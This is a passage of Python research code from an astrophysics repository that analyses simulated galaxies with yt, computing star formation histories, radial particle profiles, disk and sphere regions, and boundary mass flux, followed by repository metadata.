times=self.time_data['time'])\n x, self.time_data['SNII_snr'] = pa.snr(self.ds, self.df, times=x, sn_type ='II')\n x, self.time_data['SNIa_snr'] = pa.snr(self.ds, self.df, times=x, sn_type ='Ia')\n x, self.time_data['AGB_rate'] = pa.snr(self.ds, self.df, times=x, sn_type = 'AGB')\n\n self.time_data['time'] = 0.5 * (x[1:] + x[:-1]) # bin centers\n\n self.meta_data['SFR'] = self.time_data['SFR'][-1]\n\n #\n # Make a set of SFR and SNR evolutions with longer bin spacing (100 Myr)\n #\n self.time_data['time_100'], self.time_data['SFR_100'] = pa.sfrFromParticles(self.ds, self.df, times = 100.0 * yt.units.Myr)\n x, self.time_data['SFH_100'] = pa.sfhFromParticles(self.ds, self.df, times=self.time_data['time_100'])\n x, self.time_data['SNII_snr_100'] = pa.snr(self.ds, self.df ,times=x, sn_type ='II')\n x, self.time_data['SNIa_snr_100'] = pa.snr(self.ds, self.df ,times=x, sn_type ='Ia')\n\n self.time_data['time_100'] = 0.5 * (x[1:] + x[:-1]) # bin centers\n\n self.meta_data['SFR_100'] = self.time_data['SFR_100'][-1]\n\n #\n # Make a set of SFR and SNR evolutions with very short bin spacing (1 Myr)\n #\n self.time_data['time_1'], self.time_data['SFR_1'] = pa.sfrFromParticles(self.ds, self.df, times = 1.0 * yt.units.Myr)\n x, self.time_data['SFH_1'] = pa.sfhFromParticles(self.ds, self.df, times=self.time_data['time_1'])\n x, self.time_data['SNII_snr_1'] = pa.snr(self.ds, self.df ,times=x, sn_type ='II')\n x, self.time_data['SNIa_snr_1'] = pa.snr(self.ds, self.df ,times=x, sn_type ='Ia')\n\n self.time_data['time_1'] = 0.5 * (x[1:] + x[:-1]) # bin centers\n\n self.meta_data['SFR_1'] = self.time_data['SFR_1'][-1]\n\n\n\n return\n\n def instantaneous_SFR(self):\n \"\"\"\n Returns instantaneous SFR as computed from the global SFR from\n particle formation times. Uses linear interpolation on sampled\n SFR to get exact instantaneous SFR\n \"\"\"\n\n if hasattr(self, 'time_data'):\n if not 'SFR' in self.time_data:\n self.compute_time_evolution()\n else:\n self.compute_time_evolution()\n\n return np.interp(self.ds.current_time.to(UNITS['Time'].units),\n 0.5*(self.time_data['time'][:-1]+self.time_data['time'][1:]), self.time_data['SFR']) * yt.units.Msun / self.time_data['time'].unit_quantity\n\n def compute_everything(self):\n \"\"\"\n Compute everything we need to add to the HDF5 files:\n\n - Meta quantities:\n 1) Total masses of all species\n 2) Total stellar mass\n 3)\n\n 1) Mass profiles of all species\n 2)\n \"\"\"\n self.compute_all_meta_data()\n self.compute_gas_profiles()\n self.compute_gas_sequestering()\n self.calculate_velocity_distributions()\n\n\n return\n\n\n def compute_half_light_radius(self):\n \"\"\"\n Compute the radial Luminosity profile as determined\n from stellar evolution model used to described stars, then\n calculate the half light radius.\n \"\"\"\n\n make_profile = False\n if hasattr(self, 'particle_profiles'):\n if not util.nested_haskey(self.particle_profiles, ['disk','radial','sum',('io','particle_model_luminosity')]):\n make_profile = True\n else:\n self.particle_profiles = {}\n make_profile = True\n\n if make_profile:\n junk = self.compute_particle_profile( [ ('io','particle_model_luminosity'), ], xtype = 'radial',\n accumulate = True, mode = 'disk', pt = 11)\n\n xbins = self.particle_profiles['disk']['radial']['xbins']\n centers = 0.5 * (xbins[1:] + xbins[:-1])\n cum_luminosity = np.cumsum( self.particle_profiles['disk']['radial']['sum'][('io','particle_model_luminosity')] )\n\n frac_luminosity = cum_luminosity / cum_luminosity[-1]\n\n if hasattr(frac_luminosity, 'value'):\n frac_luminosity = frac_luminosity.value\n\n x = centers.value\n\n func = lambda xval : np.interp(xval, x, frac_luminosity) - 0.5\n\n r_half = optimize.brentq(func, x[0], x[-1])\n\n self.particle_meta_data['half_light_radius'] = r_half * centers.unit_quantity\n\n return r_half * centers.unit_quantity\n\n\n def get_star_model_properties(self):\n \"\"\"\n Go to stellar model and compute stellar model properties of the stars\n as well as radiation properties of the stars. Used to compute more fun things\n like total luminosity and half light radius\n \"\"\"\n\n self.star_model_properties = {}\n\n\n return\n\n def compute_all_particle_profiles(self):\n \"\"\"\n Computes all particle profiles we want, including abundance profiles\n for the particles.\n \"\"\"\n\n junk = self.compute_particle_profile( [('io','particle_mass'),], mode = 'disk', pt = 11)\n junk = self.compute_particle_profile( [('io','particle_mass'),], mode = 'disk', xtype = 'z', pt = 11)\n\n junk = self.compute_particle_profile( [('io','particle_age'),\n ('io','metallicity_fraction')],\n mode = 'disk', accumulate = False, pt = 11)\n\n _abundance_fields = ['Fe_over_H', 'C_over_Fe', 'O_over_Fe', 'Mg_over_Fe',\n 'O_over_Fe']\n abundance_fields = []\n\n for a in _abundance_fields:\n if ('io','particle_' + a) in self.ds.derived_field_list:\n abundance_fields += [('io','particle_' + a)]\n\n junk = self.compute_particle_profile(abundance_fields, mode = 'disk', pt = 11,\n xtype = 'radial', accumulate = False)\n\n junk = self.compute_particle_profile(abundance_fields, mode = 'disk', pt = 11,\n xtype = 'z', accumulate = False)\n\n return\n\n def compute_particle_profile(self, fields, mode = 'disk', xtype = 'radial',\n accumulate=True, weight_field = None, pt=None):\n \"\"\"\n Constructs a radial profile of the corresponding field. xtype = 'radial' for\n mode 'sphere' ONLY. For mode = 'disk', xtype = 'z' or xtype = 'radial'. Here, disk\n is assumed to be stellar disk always\n \"\"\"\n\n if (not weight_field is None) and accumulate:\n raise ValueError(\"Cannot have weight field and accumulation True\")\n\n if not isinstance(fields, Iterable):\n fields = [fields]\n\n if mode == 'sphere':\n xbins = self.rbins_sphere\n x = self.sphere[('io','particle_position_spherical_radius')].to(xbins.units)\n data = self.sphere\n\n elif mode == 'disk':\n if xtype == 'radial':\n xbins = self.rbins_stellar_disk\n x = self.stellar_disk[('io','particle_position_cylindrical_radius')].to(xbins.units)\n else:\n xbins = self.zbins_stellar_disk\n x = np.abs(self.stellar_disk[('io','particle_position_cylindrical_z')]).to(xbins.units)\n\n data = self.stellar_disk\n\n if pt is None:\n particle_filter = [True] * np.size(data['particle_type'])\n else:\n particle_filter = data['particle_type'] == pt\n\n profiles = {}\n for field in fields:\n profiles[field] = np.zeros(np.size(xbins) - 1)\n\n for field in fields:\n for i in np.arange(np.size(xbins)-1):\n x_filter = (x < xbins[i]) * (x >= xbins[i-1])\n filter = x_filter * particle_filter\n\n field_data = data[field][filter]\n\n if field in UNITS:\n field_data = field_data.to(FIELD_UNITS[field].units)\n\n if accumulate:\n profiles[field][i] = np.sum( field_data )\n elif weight_field is None:\n profiles[field][i] = np.average( field_data )\n else:\n weights = data[weight_field][filter]\n profiles[field][i] = np.average( field_data, weights = weights)\n\n #\n # save profiles\n #\n prof_type = mode\n if not prof_type in self.particle_profiles.keys():\n self.particle_profiles[prof_type] = {}\n\n if not xtype in self.particle_profiles[prof_type].keys():\n self.particle_profiles[prof_type][xtype] = {}\n\n weight = weight_field\n if weight is None and accumulate:\n weight = \"sum\"\n elif weight is None and not accumulate:\n weight = \"average\"\n\n if not weight in self.particle_profiles[prof_type][xtype].keys():\n self.particle_profiles[prof_type][xtype][weight] = {}\n\n self.particle_profiles[prof_type][xtype][weight].update( profiles )\n self.particle_profiles[prof_type][xtype]['xbins'] = xbins\n\n centers = 0.5 * (xbins[1:] + xbins[:-1])\n return xbins, centers, profiles\n\n def construct_regions(self, disk_kwargs = None, large_disk_kwargs = None, stellar_disk_kwargs = None,\n sphere_kwargs = None, halo_sphere_kwargs = None):\n \"\"\"\n Defines the pre-defined (or user modified) geometric regions to\n perform analysis on. These are the galaxy disk, a sphere around the\n galaxy, and a halo sphere (out to virial radius).\n \"\"\"\n\n if disk_kwargs is None:\n disk_kwargs = {}\n\n for n in ['normal','radius','height','center']:\n disk_kwargs[n] = self.disk_region[n]\n\n if stellar_disk_kwargs is None:\n stellar_disk_kwargs = {}\n\n for n in ['normal', 'radius','height','center']:\n stellar_disk_kwargs[n] = self.stellar_disk_region[n]\n\n if large_disk_kwargs is None:\n large_disk_kwargs = {}\n\n for n in ['normal','radius','height','center']:\n large_disk_kwargs[n] = self.large_disk_region[n]\n\n if sphere_kwargs is None:\n sphere_kwargs = {}\n\n for n in ['radius','center']:\n sphere_kwargs[n] = self.spherical_region[n]\n\n if halo_sphere_kwargs is None:\n halo_sphere_kwargs = {}\n\n for n in ['radius','center']:\n halo_sphere_kwargs[n] = self.halo_spherical_region[n]\n\n\n self.disk = self.ds.disk(**disk_kwargs)\n\n self.large_disk = self.ds.disk(**large_disk_kwargs)\n\n self.stellar_disk = self.ds.disk(**stellar_disk_kwargs)\n\n self.sphere = self.ds.sphere(**sphere_kwargs)\n\n self.halo_sphere = self.ds.sphere(**halo_sphere_kwargs)\n\n return\n\n def _set_data_region_properties(self):\n \"\"\"\n Sets parameters used to define disk and spherecal data regions\n Separate function currently useless, but allows this to be\n expanded so one can guess sizes from parameter file settings,\n rather than hard coding as is done below.\n \"\"\"\n\n # dr and dz set spacing for cylindrical or spherical regions\n # to use to construct shells\n\n self.stellar_disk_region = {'normal' : np.array([0.0, 0.0, 1.0]),\n 'radius' : 1.0 * yt.units.kpc,\n 'height' : 400.0 * yt.units.pc,\n 'center' : self.ds.domain_center,\n 'dr' : 10.0 * yt.units.pc,\n 'dz' : 10.0 * yt.units.pc}\n\n\n self.disk_region = {'normal' : np.array([0.0, 0.0, 1.0]),\n 'radius' : 650.0 * yt.units.pc,\n 'height' : 200.0 * 2 * yt.units.pc, # 200 pc above and below\n 'center' : self.ds.domain_center,\n 'dr' : 25.0 * yt.units.pc,\n 'dz' : 50.0 * yt.units.pc }\n\n # HACK HACK HACK:\n if self.ds.parameters['DiskGravityStellarDiskMass'] > 1.0E7:\n self.disk_region['height'] = 2.0 * yt.units.kpc\n self.disk_region['radius'] = 1.5 * yt.units.kpc\n\n\n self.large_disk_region = {'normal' : np.array([0,0,1]),\n 'radius' : 2.0 * yt.units.kpc,\n 'height' : 2.0 * yt.units.kpc,\n 'center' : self.ds.domain_center,\n 'dr' : 25.0*yt.units.pc,\n 'dz' : 50.0*yt.units.pc}\n\n self.spherical_region = {'center' : self.ds.domain_center,\n 'radius' : 2.0 * yt.units.kpc,\n 'dr' : 50.0 * yt.units.pc }\n\n #\n # need to not hard code virial radius\n #\n\n self.halo_spherical_region = {'center' : self.ds.domain_center,\n 'radius' : self.R_vir}\n self.halo_spherical_region['dr'] = self.halo_spherical_region['radius'] * 0.05\n\n return\n\n\n #\n # TO DO: Move the \"set_xxx_fields\" functions to a utilities\n # or static data function, rather than here... but keep hidden.\n # this may be a little cleaner - Feb 2017\n #\n #\n def _set_accumulation_fields(self):\n\n self._accumulation_fields = [('gas','H_total_mass'), ('gas','He_total_mass'),\n ('gas','metal_mass'), ('gas','cell_mass'),\n ('gas','H_p0_mass'), ('gas','H2_mass'),\n ('gas','H_p1_mass')]\n\n for e in self.species_list:\n self._accumulation_fields += [('gas', e +'_Mass')]\n\n return\n\n def _set_radiation_fields(self):\n\n self._radiation_fields = [('enzo','HI_kph'), ('enzo','HeI_kph'),\n ('enzo','OTLW_kdissH2I'), ('gas','Pe_heating_rate_masked'),\n ('gas','G_o')]\n\n return\n\n def _set_projection_fields(self):\n\n self._projection_fields = [('enzo','HI_Density'), ('enzo','H2I_Density'),\n ('enzo','Density'), ('enzo','HII_Density'),\n ('gas','Metal_Density')]\n\n for e in self.species_list:\n self._projection_fields += [('gas',e + '_Density')]\n\n return\n\n def _load_boundary_mass_flux(self):\n \"\"\"\n Previously, this was done by reading an external file containing\n cumulative mass loss from grid at each root grid timestep. Instead,\n this is stored directly in the paramater file. Its gross, but\n just do this.\n \"\"\"\n\n # BoundarMassFluxFieldNumbers stores field number which is connected\n # to field name via data label\n num_flux = len( [x for x in self.ds.parameters.keys() if 'BoundaryMassFluxFieldNumbers' in x])\n\n if hasattr(self, 'boundary_mass_flux'):\n if len(list(self.boundary_mass_flux.keys())) == num_flux:\n return # don't need to re-make this\n\n self.boundary_mass_flux = {}\n\n if self.ds.parameters['StoreDomainBoundaryMassFlux'] == 0:\n for e in self.species_list:\n self.boundary_mass_flux[e + '_Density'] = 0.0\n _fields = ['HI_Density','HII_Density','H2I_Density','H2II_Density', 'El_Density',\n 'HeI_Density','HeII_Density','HeIII_Density','HM_Density', \"Metal_Density\"]\n\n for f in _fields:\n self.boundary_mass_flux[f] = 0.0\n\n return\n\n conv = 1.0\n if APPLY_CORRECTION_TO_BOUNDARY_MASS_FLUX_VALUES: # obnoxius on purpose, see note at top\n conv = np.max( self.df['dx'].to('code_length').value )\n conv = 1.0 / (conv**2) # correct by dividing by dx^2\n\n for i in np.arange(num_flux):\n field = self.ds.parameters[\"DataLabel[%i]\"%(self.ds.parameters['BoundaryMassFluxFieldNumbers[%i]'%(i)])]\n self.boundary_mass_flux[field] = self.ds.parameters['BoundaryMassFluxContainer[%i]'%(i)] * conv\n\n\n # easy !\n return\n\n @property\n def cut_region(self):\n \"\"\"\n Dictionary of cut region strings to be used in yt's cut region functionality.\n At the moment these are geometric (or kinematic) exclusion regions\n (e.x. 'not_disk') to be used in conjuction with the already defined regions\n (disk, sphere, etc.) in order to easily select part of the volume in between\n two regions (there is no support for this directly in some sort of object).\n Otherwise, the disk, sphere and such objects can be used for continious and\n un-interrupted region selection.\n\n Other cut regions are defined in static_data that are immutable, like\n the ISM phases; these depend on properties of the galaxy itself that need to be\n defined on the fly.\n\n Though not in place yet, this could be extended to add in a LOT more convenience\n selection functions.\n \"\"\"\n\n all_cr = {}\n\n #\n # set up cut regions to select bands above and below disk corresponding\n # to regions where one might want to examine select outflow / inflow properties\n #\n center = np.array([0.1, 0.2, 0.25, 0.5, 0.75, 1.0, 1.25]) # in units of R_Vir\n dL = 0.1 # in units of R_vir\n\n center = (center * self.R_vir).to('kpc')\n dL = (dL * self.R_vir).to('kpc')\n\n rvir_ranges = [None] * len(center)\n for i in np.arange(np.size(center)):\n lower_lim = (center[i] - 0.5 * dL).value\n upper_lim = (center[i] + 0.5 * dL).value\n\n rvir_ranges[i] = [\"(obj['magnitude_cylindrical_z'].in_units('kpc') > %.4E)\"%(lower_lim), \"&\",\n \"(obj['magnitude_cylindrical_z'].in_units('kpc') > %.4E)\"%(upper_lim)]\n\n all_cr['z_rvir_%i'] = rvir_ranges[i]\n\n all_cr['z_rvir_info'] = {'centers' : center, 'dL' : dL}\n\n # cut region string for outside the disk region\n disk_r = self.disk.radius.to('pc').value\n disk_z = 0.5 * self.disk.height.to('pc').value\n\n # add this cut region as an attribute of the galaxy\n not_disk = [\"(obj['cylindrical_r'].in_units('pc') > %.4E)\"%(disk_r), \"&\", # outside certain radius\n \"(obj['magnitude_cylindrical_z'].in_units('pc') > %.4E)\"%(disk_z)]\n all_cr['not_disk'] = ' '.join(not_disk)\n\n return all_cr\n\n @property\n def rbins_stellar_disk(self):\n rmin = 0.0\n rmax = self.stellar_disk.radius\n dr = self.stellar_disk_region['dr']\n rmax = rmax.to(dr.units)\n\n return np.arange(rmin, rmax + dr, dr) * dr.unit_quantity\n\n @property\n def zbins_stellar_disk(self):\n zmin = 0.0\n zmax = self.stellar_disk.height\n dz = self.stellar_disk_region['dz']\n zmax = zmax.to(dz.units)\n\n return np.arange(zmin, zmax + dz, dz ) * dz.unit_quantity\n\n\n @property\n def rbins_sphere(self):\n\n rmin = 0.0\n rmax = self.sphere.radius\n dr = self.spherical_region['dr']\n rmax = rmax.to(dr.units)\n\n return np.arange(rmin, rmax + dr, dr) * dr.unit_quantity\n\n @property\n def rbins_halo_sphere(self):\n rmin = 0.0\n rmax = self.halo_sphere.radius\n dr = self.halo_spherical_region['dr']\n rmax = rmax.to(dr.units)\n\n return np.arange(rmin, rmax + dr, dr) * dr.unit_quantity\n\n @property\n def zbins_disk(self):\n zmin = 0.0\n zmax = self.disk.height\n dz = self.disk_region['dz']\n zmax = zmax.to(dz.units)\n\n return np.arange(zmin, zmax + dz, dz) * dz.unit_quantity\n\n\n @property\n def rbins_disk(self):\n rmin = 0.0\n rmax = self.disk.radius\n dr = self.disk_region['dr']\n rmax = rmax.to(dr.units)\n\n return np.arange(rmin, rmax + dr, dr) * dr.unit_quantity\n\n @property\n def zbins_large_disk(self):\n zmin = 0.0\n zmax = self.large_disk.height\n dz = self.large_disk_region['dz']\n zmax = zmax.to(dz.units)\n\n return np.arange(zmin, zmax + dz, dz) * dz.unit_quantity\n\n\n @property\n def rbins_large_disk(self):\n rmin = 0.0\n rmax = self.large_disk.radius\n dr = self.large_disk_region['dr']\n rmax = rmax.to(dr.units)\n\n return np.arange(rmin, rmax + dr, dr) * dr.unit_quantity\n", "repo_name": "aemerick/galaxy_analysis", "sub_path": "analysis/_galaxy_analysis.py", "file_name": "_galaxy_analysis.py", "file_ext": "py", "file_size_in_byte": 59804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "galaxy_analysis.utilities.utilities.nooutput", "line_number": 81, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 81, "usage_type": "name"}, {"api_name": "yt.load", "line_number": 82, "usage_type": "call"}, {"api_name": "galaxy_analysis.yt_fields.field_generators.FIELDS_DEFINED", "line_number": 85, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.yt_fields.field_generators", "line_number": 85, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 87, "usage_type": "call"}, {"api_name": "yt.load", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 92, "usage_type": "call"}, {"api_name": "yt.load", "line_number": 94, "usage_type": "call"}, {"api_name": "galaxy_analysis.yt_fields.field_generators.generate_derived_fields", "line_number": 101, "usage_type": "call"}, {"api_name": "galaxy_analysis.yt_fields.field_generators", "line_number": 101, "usage_type": "name"}, {"api_name": "galaxy_analysis.yt_fields.field_generators.FIELDS_DEFINED", "line_number": 102, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.yt_fields.field_generators", "line_number": 102, "usage_type": "name"}, {"api_name": "galaxy_analysis.yt_fields.field_generators.load_and_define", "line_number": 105, "usage_type": "call"}, {"api_name": "galaxy_analysis.yt_fields.field_generators", "line_number": 105, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 106, "usage_type": "name"}, {"api_name": "galaxy_analysis.utilities.utilities.species_from_fields", "line_number": 119, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 119, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 160, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 163, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.misc.dm_halo.burkert_solve_virial", "line_number": 166, "usage_type": "call"}, {"api_name": "galaxy_analysis.misc.dm_halo", "line_number": 166, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "deepdish.io.load", "line_number": 181, "usage_type": "call"}, {"api_name": "deepdish.io", "line_number": 181, "usage_type": "attribute"}, {"api_name": "deepdish.io.load", "line_number": 183, "usage_type": "call"}, {"api_name": "deepdish.io", "line_number": 183, "usage_type": "attribute"}, {"api_name": "deepdish.io.save", "line_number": 203, "usage_type": "call"}, {"api_name": "deepdish.io", "line_number": 203, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 280, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.FIELD_UNITS", "line_number": 280, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 298, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 298, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.static_data.CUT_REGION.keys", "line_number": 306, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.CUT_REGION", "line_number": 306, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.CUT_REGION", "line_number": 307, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.CUT_REGION", "line_number": 308, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 327, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities.compute_weighted_stats", "line_number": 329, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 329, "usage_type": "name"}, {"api_name": "galaxy_analysis.utilities.utilities.compute_weighted_stats", "line_number": 331, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 331, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 347, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 349, "usage_type": "call"}, {"api_name": "yt.create_profile", "line_number": 350, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 386, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 397, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 402, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.ISM_FILTER", "line_number": 418, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 420, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 420, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 427, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 432, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 466, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 472, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 477, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 484, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 487, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 535, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 535, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 541, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.FIELD_UNITS", "line_number": 542, "usage_type": "name"}, {"api_name": "yt.units", "line_number": 561, "usage_type": "attribute"}, {"api_name": "numpy.size", "line_number": 575, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 578, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 584, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 584, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 585, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 586, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 589, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 590, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 595, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 596, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 598, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 599, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 601, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 602, "usage_type": "call"}, {"api_name": "collections.Iterable", "line_number": 623, "usage_type": "argument"}, {"api_name": "numpy.sqrt", "line_number": 635, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 642, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 642, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 644, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 644, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 647, "usage_type": "attribute"}, {"api_name": "numpy.size", "line_number": 649, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 653, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 656, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 656, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 657, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types.main_sequence", "line_number": 714, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 714, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types.white_dwarfs", "line_number": 715, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 715, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types.core_collapse", "line_number": 716, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 716, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types.snIa", "line_number": 717, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 717, "usage_type": "name"}, {"api_name": "yt.units", "line_number": 720, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 720, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 721, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 723, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 723, "usage_type": "name"}, {"api_name": "numpy.size", "line_number": 728, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 729, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 729, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 732, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 733, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 734, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 735, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 739, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 740, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 742, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 743, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 745, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 746, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 748, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 750, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities.compute_stats", "line_number": 753, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 753, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.compute_IMF", "line_number": 755, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 755, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.compute_IMF", "line_number": 756, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 756, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 770, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 771, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 779, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 779, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 780, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 781, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 789, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 789, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 799, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.ISM", "line_number": 801, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 802, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 840, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 846, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.ISM", "line_number": 846, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 849, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.ISM", "line_number": 849, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 855, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 857, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 866, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 868, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 874, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 876, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 889, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 898, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 921, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 924, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 932, "usage_type": 